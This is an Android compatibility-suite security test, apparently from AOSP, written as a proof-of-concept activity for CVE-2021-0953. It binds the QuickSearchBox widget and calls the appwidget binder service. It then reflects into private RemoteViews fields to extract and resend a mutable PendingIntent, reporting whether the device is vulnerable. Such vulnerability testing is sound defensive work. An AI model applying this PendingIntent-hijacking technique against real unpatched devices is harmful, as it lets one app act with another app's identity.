| /* |
| * Copyright (C) 2021 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| package android.security.cts.CVE_2021_0953; |
| |
| import android.app.Activity; |
| import android.app.PendingIntent; |
| import android.appwidget.AppWidgetHost; |
| import android.appwidget.AppWidgetManager; |
| import android.content.ComponentName; |
| import android.content.Intent; |
| import android.content.pm.PackageManager; |
| import android.content.pm.ResolveInfo; |
| import android.os.Bundle; |
| import android.os.IBinder; |
| import android.os.Parcel; |
| import android.os.RemoteCallback; |
| import android.os.RemoteException; |
| import android.widget.RemoteViews; |
| |
| import androidx.test.uiautomator.By; |
| import androidx.test.uiautomator.BySelector; |
| import androidx.test.uiautomator.UiDevice; |
| import androidx.test.uiautomator.UiObject2; |
| import androidx.test.uiautomator.Until; |
| import androidx.test.InstrumentationRegistry; |
| |
| import java.lang.reflect.Field; |
| import java.lang.reflect.InvocationTargetException; |
| import java.lang.reflect.Method; |
| import java.util.ArrayList; |
| import java.util.List; |
| |
| public class PocActivity extends Activity { |
| public static int APPWIDGET_ID; |
| public static int REQUEST_BIND_APPWIDGET = 0; |
| public static final int TIMEOUT_MS = 10000; |
| |
| Class mClRemoteViews; |
| Field mActions, mResponse, mFldPendingIntent; |
| Method mGetDeclaredField; |
| Object mObjSetOnClickResponse; |
| PendingIntent mPendingIntent; |
| |
| @Override |
| public void onCreate(Bundle savedInstanceState) { |
| super.onCreate(savedInstanceState); |
| setContentView(R.layout.activity_main); |
| UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); |
| AppWidgetHost appWidgetHost; |
| AppWidgetManager appWidgetManager; |
| PocActivity pocActivity = PocActivity.this; |
| appWidgetManager = AppWidgetManager.getInstance(this); |
| appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0); |
| APPWIDGET_ID = appWidgetHost.allocateAppWidgetId(); |
| Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND"); |
| intent.putExtra("appWidgetId", APPWIDGET_ID); |
| intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox", |
| "com.android.quicksearchbox.SearchWidgetProvider")); |
| PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET); |
| String settingsPkgName = ""; |
| PackageManager pm = getPackageManager(); |
| List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); |
| for (ResolveInfo ri : ris) { |
| if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) { |
| settingsPkgName = ri.activityInfo.packageName; |
| } |
| } |
| if (settingsPkgName.equals("")) { |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "Settings package not found/AllowBindAppWidgetActivity not found"); |
| return; |
| } |
| if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) { |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "Unable to start AllowBindAppWidgetActivity"); |
| return; |
| } |
| boolean buttonClicked = false; |
| BySelector selector = By.clickable(true); |
| List<UiObject2> objects = device.findObjects(selector); |
| for (UiObject2 object : objects) { |
| String objectText = object.getText(); |
| String objectClass = object.getClassName(); |
| if (objectText == null) { |
| continue; |
| } |
| if (objectText.equalsIgnoreCase("CREATE")) { |
| object.click(); |
| buttonClicked = true; |
| break; |
| } |
| } |
| if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) { |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "'Create' button not found/clicked"); |
| return; |
| } |
| } |
| |
| @Override |
| public void onActivityResult(int requestCode, int resultCode, Intent data) { |
| super.onActivityResult(requestCode, resultCode, data); |
| PocActivity pocActivity = PocActivity.this; |
| if (requestCode == REQUEST_BIND_APPWIDGET) { |
| if (resultCode == -1) { |
| APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID); |
| } |
| } |
| RemoteViews remoteViews = |
| pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID); |
| if (remoteViews == null) { |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "remoteViews is null as callBinder() failed"); |
| return; |
| } |
| try { |
| mClRemoteViews = Class.forName("android.widget.RemoteViews"); |
| } catch (ClassNotFoundException e) { |
| e.printStackTrace(); |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "Class android.widget.RemoteViews not found"); |
| return; |
| } |
| Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses(); |
| Class clSetOnClickResponse = null; |
| Class clRemoteResponse = null; |
| for (Class c : rvSubClasses) { |
| if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) { |
| clSetOnClickResponse = c; |
| } |
| if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) { |
| clRemoteResponse = c; |
| } |
| } |
| try { |
| mActions = mClRemoteViews.getDeclaredField("mActions"); |
| } catch (NoSuchFieldException e) { |
| e.printStackTrace(); |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "mActions field not found"); |
| return; |
| } |
| mActions.setAccessible(true); |
| try { |
| mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1); |
| mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class); |
| mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse"); |
| } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) { |
| e.printStackTrace(); |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "mResponse field not found"); |
| return; |
| } |
| mResponse.setAccessible(true); |
| try { |
| mFldPendingIntent = |
| (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent"); |
| } catch (IllegalAccessException | InvocationTargetException e) { |
| e.printStackTrace(); |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "mPendingIntent field not found"); |
| return; |
| } |
| mFldPendingIntent.setAccessible(true); |
| try { |
| mPendingIntent = (PendingIntent) mFldPendingIntent |
| .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse)); |
| } catch (IllegalAccessException e) { |
| e.printStackTrace(); |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "Unable to get PendingIntent"); |
| return; |
| } |
| Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class); |
| spuriousIntent.setPackage(getApplicationContext().getPackageName()); |
| spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); |
| try { |
| mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null); |
| } catch (PendingIntent.CanceledException e) { |
| // this is expected when vulnerability is not present and hence return |
| sendTestResult(getResources().getInteger(R.integer.pass), "Pass"); |
| return; |
| } |
| sendTestResult(getResources().getInteger(R.integer.fail), |
| "Device is vulnerable to b/184046278!!" |
| + " Mutable PendingIntent in QuickSearchBox widget"); |
| } |
| |
| private IBinder getService(String service) { |
| try { |
| Class clServiceManager = Class.forName("android.os.ServiceManager"); |
| Method mtGetService = clServiceManager.getMethod("getService", String.class); |
| return (IBinder) mtGetService.invoke(null, service); |
| } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException |
| | InvocationTargetException e) { |
| e.printStackTrace(); |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "Failed to invoke android.os.ServiceManager service"); |
| return null; |
| } |
| } |
| |
| private RemoteViews callBinder(String callingPackage, int appWidgetId) { |
| String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService"; |
| int GET_APP_WIDGET_VIEWS = 7; |
| Parcel data = Parcel.obtain(); |
| Parcel reply = Parcel.obtain(); |
| RemoteViews remoteViews = null; |
| IBinder service = getService("appwidget"); |
| if (service != null) { |
| data.writeInterfaceToken(INTERFACE_DESCRIPTOR); |
| data.writeString(callingPackage); |
| data.writeInt(appWidgetId); |
| try { |
| service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0); |
| } catch (RemoteException e) { |
| e.printStackTrace(); |
| sendTestResult(getResources().getInteger(R.integer.assumption_failure), |
| "service.transact() failed due to RemoteException"); |
| return null; |
| } |
| reply.readException(); |
| if (reply.readInt() != 0) { |
| remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply); |
| } |
| } |
| return remoteViews; |
| } |
| |
| private void sendTestResult(int statusCode, String errorMessage) { |
| RemoteCallback cb = |
| (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key)); |
| Bundle res = new Bundle(); |
| res.putString(getString(R.string.message_key), errorMessage); |
| res.putInt(getString(R.string.status_key), statusCode); |
| finish(); |
| cb.sendResult(res); // update callback in test |
| } |
| } |